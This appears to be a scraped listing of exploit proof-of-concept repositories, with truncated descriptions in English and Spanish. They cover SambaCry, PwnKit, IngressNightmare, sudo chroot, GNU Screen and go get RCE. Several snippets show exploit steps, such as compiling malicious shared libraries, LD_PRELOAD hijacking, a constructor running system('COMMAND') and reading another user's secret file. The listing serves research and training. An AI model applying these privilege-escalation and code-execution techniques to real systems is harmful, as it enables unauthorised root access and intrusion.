exploit-CVE-2017-7494

SambaCry RCE exploit for Samba 4.5.9 Samba is a free software re-implementation of the SMB/CIFS networking protocol. Samba provides file and print services for various Microsoft Windows clients and can integrate with a Microsoft Windows Server domain, either as a Domain Controller DC or as a doma...

CVE-2021-4034

Proof of Concept PoC: CVE-2021-4034 PwnKit Note: This repository and its content are part of a Final Degree Project FDP, created solely for educational purposes and academic research. Description This repository contains a proof of concept PoC for the CVE-2021-4034 vulnerability, also known as...

POC-IngressNightmare-CVE-2025-1974

POC de IngressNightmare CVE-2025-1974 Desarrollado a partir de: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Hablar es barato, solo mira el código. Los detalles se pueden encontrar en...

CVE-2019-18276

-Para explotar la vulnerabilidad CVE-2019-18276, abra este directorio en un terminal y ejecute los comandos: cd ./demonstration ./make -Los comandos a escribir en la máquina virtual son: ./creationsecret.sh hacker ./exploit.sh 1000 enable -f ./libpwn.so asd cat /home/victime/.secret.txt...

IngressNightterror

IngressNightterror CVE-2025-1974 Descripción general Este repositorio es mi investigación sobre la vulnerabilidad IngressNightmare. Incluye archivos de despliegue de Ingress vulnerables, el exploit en sí y el payload de objeto compartido. CVE La lista de índices CVE: CVE-2025-1974 - Vulnerabilida...

CVE-2024-48990

CVE-2024-48990 hello this is 0x3bs In victim machine: root@kitploit: set -e cd /tmp 1. Create the malicious module directory structure mkdir -p malicious/importlib in attacker machine to compile lib.c in attacker machine : root@kitploit: gcc -shared -fPIC -o exp.so lib.c and in vivtim machine : i...

CVE-2018-6574

CVE-2018-6574 POC POC de exploit para CVE-2018-6574 Compilar 1. Crea un archivo de exploit con lo siguiente: root@kitploit: include include static void malicious attributeconstructor; void malicious system"COMMAND"; 2. Compílalo: root@kitploit: gcc -shared -o exploit.so -fPIC exploit.c 3...

CVE-2017-7494

SambaCry CVE-2017-7494 Exploit CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries. Vulnerability explanation SambaCry is a path-validation vulnerability in how Samba handles named-pipe request...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-Solution root@kitploit: gcc -shared -o attack.so -fPIC attack.c...

pwnkit

CVE-2021-4034 Introducción Este es un exploit para la vulnerabilidad CVE-2021-4034, también conocida como pwnkit, que fue descubierta por Qualys. Uso Compilación root@kitploit: $ make o root@kitploit: $ gcc -o pwnkit.so -fPIC -shared pwnkit.c -Wl,-e,main Pruebas root@kitploit: $ make test o...

CVE-2023-1521

PoC root@kitploit: gcc -shared -o libpoc.so poc.c -fPIC export LDPRELOAD=fullpathtolibpoc.so sccache gcc foo.c -o foo...

sudo-chroot-CVE-2025-32463

DESCARGO DE RESPONSABILIDAD Este código es solo para fines educativos y de investigación. No lo utilice en sistemas que no posea o para los que no tenga permiso de prueba. El autor no se hace responsable de ningún uso indebido, daño o consecuencia legal derivada del uso de este código. PoC de sud...

xwiki__xwiki-commons_CVE-2022-24897_12-6-6

XWiki Commons XWiki Commons son librerías técnicas comunes a varios otros proyectos XWiki de nivel superior. Estas librerías pueden ser utilizadas por proyectos fuera del ecosistema XWiki, son genéricas y no están relacionadas con el dominio wiki. XWiki Platform, XWiki Commons y XWiki Rendering...

CVE-2009-5147

CVE-2009-5147 y CVE-2015-7551 PoC para ejecutarlo: root@kitploit: make foo export FOO=./foo.so ruby -v foo.rb con diferentes versiones de ruby deberías obtener resultados diferentes: root@kitploit: vpereira@kimura:/poc rvm use 2.1.7 vpereira@kimura:/poc ruby -v foo.rb ruby 2.1.7p400 2015-08-18...

linux_injector

linuxinjector Un sencillo inyector de bibliotecas compartidas sin ptrace para Linux x64. Uso linuxinjector mode 1. dlopen normal 2. memfd + dlopen para inyectar en contenedores 3. shellcode crudo pid ID del proceso objetivo. Debe tener derechos de ptrace sobre él requerido para acceder a...

pwnkit

CVE-2021-4034 Introducción Este es un exploit para la vulnerabilidad CVE-2021-4034, también conocida como pwnkit, que fue descubierta por Qualys. Uso Compilación root@kitploit: $ make o root@kitploit: $ gcc -o pwnkit.so -fPIC -shared pwnkit.c -Wl,-e,main Pruebas root@kitploit: $ make test o...

cve-2018-6574-exploit

cve-2018-6574-exploit root@kitploit: gcc -shared -o attack.so -fPIC attack.c go get github.com/zerbaliy3v/cve-2018-6574-exploit...

CVE-2017-5618-Screen-4.5.0-Root

Exploit de escalada de privilegios local para GNU Screen 4.5.0 CVE-2017-5618 📌 Resumen Exploit de escalada de privilegios local para GNU Screen 4.5.0 que secuestra la carga de bibliotecas compartidas para obtener acceso root mediante la manipulación de ld.so.preload. 🔧 Detalles técnicos...

cdt-vulnsamba-deploy

Equipo Delta CDT - Despliegue de Samba Vulnerable Resumen Este repositorio es un despliegue basado en Ansible de un servidor de archivos Samba vulnerable afectado por CVE-2017-7494, una vulnerabilidad crítica de ejecución remota de código. Se espera que sea desplegado para el equipo Delta durante...

CVE-2025-32463-Sudo-Privilege-Escalation

CVE-2025-32463-Escalada-de-Privilegios-en-Sudo ✔️ Completado en HackViser VIP Challenge Este repositorio contiene un exploit funcional para CVE-2025-32463 , una vulnerabilidad crítica CVSS 9.3 que afecta a las versiones de sudo 1.9.14 → 1.9.17 y permite escalada de privilegios local a ROOT abusand...